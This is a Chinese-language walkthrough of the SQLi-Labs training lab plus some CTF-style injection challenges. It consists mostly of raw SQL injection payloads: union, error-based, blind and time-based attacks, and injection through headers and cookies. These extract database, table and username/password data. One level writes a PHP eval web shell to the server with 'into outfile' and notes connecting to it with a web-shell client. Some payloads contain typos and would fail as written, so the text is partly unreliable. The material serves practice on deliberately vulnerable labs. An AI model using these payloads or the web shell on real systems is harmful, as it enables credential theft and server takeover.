SQLI-LABS复现通关

sql-lab 复现通关（深入学习）

less-1 基于错误的单引号字符串

- 正常访问
127.0.0.1/?id=1
- 添加 '
返回报错信息：You have an error in your SQL syntax; check the manual that corresponds to your     MySQL  server version for the right syntax to
   use near ''1'' LIMIT 0,1' at line 1
- 使用 1' order by 3 --+
得到列数为3
- 使用union 获取admin和password
**-1 的作用是查询不存在的值，使得结果为空**
-1 ' union select 1,2,3 // 确定可以显示到页面的位置
-1 ' union select 1,2,group_concat(schema_name) from information_schema.schemata // 得到数据库名 或 通过database() 获取数据库名
-1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+
-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
-1 ' union select 1,2,group_concat(username,0x23，password)from users --+

less-2 GET整型注入

-1 union select 1,2,group_concat(password) from users --+

lesss -3 单引号注入

注入语句：select a,b from table where id = ('our input contents')
?id=-1') or 1=1 --+
?id=-1') or 1=2 --+
以上两条判断存在注入

?id=-1') union select 1,2,database() --+   获得数据库
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+  得表
?id=-1') union select 1,2,group_concat(column_name) from infromation_schema.columns where table_name = 'users' --+ 得字段
?id=-1') union select 1,2,group_concat(password) from referers --+  得内容

less-4 双引号注入报错

单引号没报错  双引号报错
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";   数据库查询语句

?id=1") and 1=1 --+
?id=1") and 1=2 --+   确定报错点
?id=1") order by 3 --+    ?id=1") order by 4 --+   确定字段数
?id=1") union select 1,2,group_concat (password) from users --+  获取内容

less-5 双查询注入

正确为you are in      错误不显示
select 内嵌 select 为双查询
127.0.0.1/sqli/Less-5/?id=1' and left((select database()),2) = 'se' --+

127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >10 --+

less-6 盲注：

    select  schema_name form information_schema.schemata;

select schema_name from information_schema.schemata limit 1,1;

select substr((select schema_name from information_schema.schemata limit 1,1),1,1);

select ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1));

less-7

linux的nginx一般是/usr/local/nginx/html   /home/wwwroot/default      /user/share/nginx    /var/www/html
上传，菜刀链接
Less-2/?id=-1 union select 1,@@basedir,@@datadir --+  看地址
?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile

less-8

?id=1' and if (lenth(database()) = 8,1,sleep(5)) --+    #基于时间的注入
?id=1' and if (ascii(substr((select database(),1,1)) >110,1,sleep(5)) --+

less-9

less-10

SQL注入1（GET型字符型注入）：
?id=1   和   ?id=2    回显不同，说明不存在数字型注入
?id=2' 页面无回显     ?id=2'#  重新回显，说明存在字符型注入
?id=-2' union select 1,2,3 #
?id=-2' union select 1,2,database() #
?id=-2' union select 1,group_concat(table_name),from information_schema.tables where table_schema=database() #
?id=-2' union select 1,group_concat(column_name),from infromation_schema.columns where table_name = 'fl4gs' #
?id=-2' union select 1,flllllg,1 from flag
SQL注入2：（POST型name注入）
name = dudu'  报错   you have an error in your syntax
name = test' and updatexml(1,concat(0x7e,(select 1)),1) #& pass=xxxx
name = test' and updatexml(1,concat(0x7e,(select(1)from dual)),1)#&pass=xxxx
name = test' and updatexml(1,concat(0x7e,(selselectect(1) from dual)),1)#&pass=xxxx
web injection
?id=2-1

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table = 'flag'

?id=-1 union select 1,flag from flag

less 11-20

'
')
'))
"
")
"))   六种情况，   or 1=1 条件永远为真  将语句成功闭合后，1=1显示登陆成功
查库：select schema_name from information_schema.schemata
查表：select table_name from information_schema.tables where table_schema = database()    'security'
查列： select column_name from information_schema.columns where tabel_name = 'users'
查字段： select username,password from security.users

-1' union select 1,schema_name from information_schema.schemata --+
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() --+
-1'    union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
-1'     union select 1,group_concat(concat_ws('~',username,password)) from security.users --+
less 1  GET   less 11 POST

less-12

与11不同，换位")
-1")  union select 1,database()  --+
-1 ")    union select 1,group_concat(schema_name ) from information_schema.schemata --+
-1 ")  union select 1,group_concat(table_name ) from information_schema.tables where table_schema = database()
-1 ")    union select 1,group_concat(column_name ) from information_schema.columns where table_name = 0x7573657273
-1 ") union select 1,group_concat(concat_ws(0x7e,username,password)) from security.users --+

less-13

盲注
length(database())
-1') or if(length(database())>1,1,sleep(5)) --+
 -1 ') or left(database(),1)='s' --+
 -1') or left((select schema_name from information_schema.schemata limit 0,1),1) = 's' --+    Burte  forcer改包放包破解

less-14

-1" or length(database()) --+

less-15

' 闭合  同13,14

less-16

13     ('-1')   14    "-1"   15    '-1'    16   ("admin")

less-17

-1'   or  updatexml(1,concat(0x7e,(构造语句)),1) --+
-1'   or  updatexml(1,concat(0x7e,(database())),1) --+
-1' or    updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1) --+

less-18

useragent注入
' or updatexml(1,concat(0x7e,()),1) --+
' or updatexml(1,concat(0x7e,(database())),1)  or '1' ='1            两种方法可以闭合
' or updatexml(1,concat(0x7e,(database())),1),' ',' ')#        两种方法均可以闭合

依次替换database()
查库：select schema_name from information_schema.schemata
查表：select table_name from information_schema.tables where table_schema = database()    'security'
查列： select column_name from information_schema.columns where tabel_name = 'users'
查字段： select username,password from security.users

less-19

refer头注入，和18关一样
' or updatexml(1,concat(0x7e,(database())),1)  or '1' ='1            两种方法可以闭合
' or updatexml(1,concat(0x7e,(database())),1),' ')#      可以闭合

less-20

Cookie: uname= -1' union select 1,2,database()#      依次替换database()
-1'    union select 1,2,group_concat(schema_name ) from information_schema.schemata#
-1'    union select 1,2,group_concat(table_name ) from information_schema.tables where table_schema = database()#
-1'    union select 1,2,group_concat(column_name ) from information_schema.columns where table_name = 0x7573657273#
-1 '   union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users #

less-21

base64加码注入
uname=

admin  base64加码后为这个值YWRtaW4=
uname=-1') union select 1,2,database() #         

XFF注入 ： x - Forward - For 简称XFF头，代表客户端的真实ip。此处可以进行注入

less-22

uname处
"   union select 1,2,databse() #

less-23

preg_repalce() 函数执行一个正则表达式的搜索和替换，搜索subject中匹配pattern的部分，以replacement进行替换。
如果subject是一个数组，preg_replace返回一个数组，其他情况返回一个字符串
匹配被找到，替换后的subject被返回，其他情况返回没有改变的subject，发生错误返回null。

在此关，将# 和 --替换为了空字符。
多了单引号，将第二个多的单引号闭合。
?id=1' union select 1,2,3 or '1' ='1

这里的or '1' ='1' 是作为column_3的操作符，因为永真，所在column_3会显示1，所以不能在3注入。

?id=1' union select 1,database(),3 or '1' ='1   依次进行替换

sqli靶场结束，若全部掌握，也算是注入有了一点点的基础了解。